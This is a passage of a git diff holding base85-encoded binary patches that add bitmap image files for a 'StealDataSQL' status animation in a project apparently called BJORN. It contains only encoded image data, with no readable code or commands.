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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL2.bmp b/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL2.bmp new file mode 100644 index 0000000000000000000000000000000000000000..c7b26b5b06e683e2312d59826244541d48104536 GIT binary patch literal 18462 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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL3.bmp b/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL3.bmp new file mode 100644 index 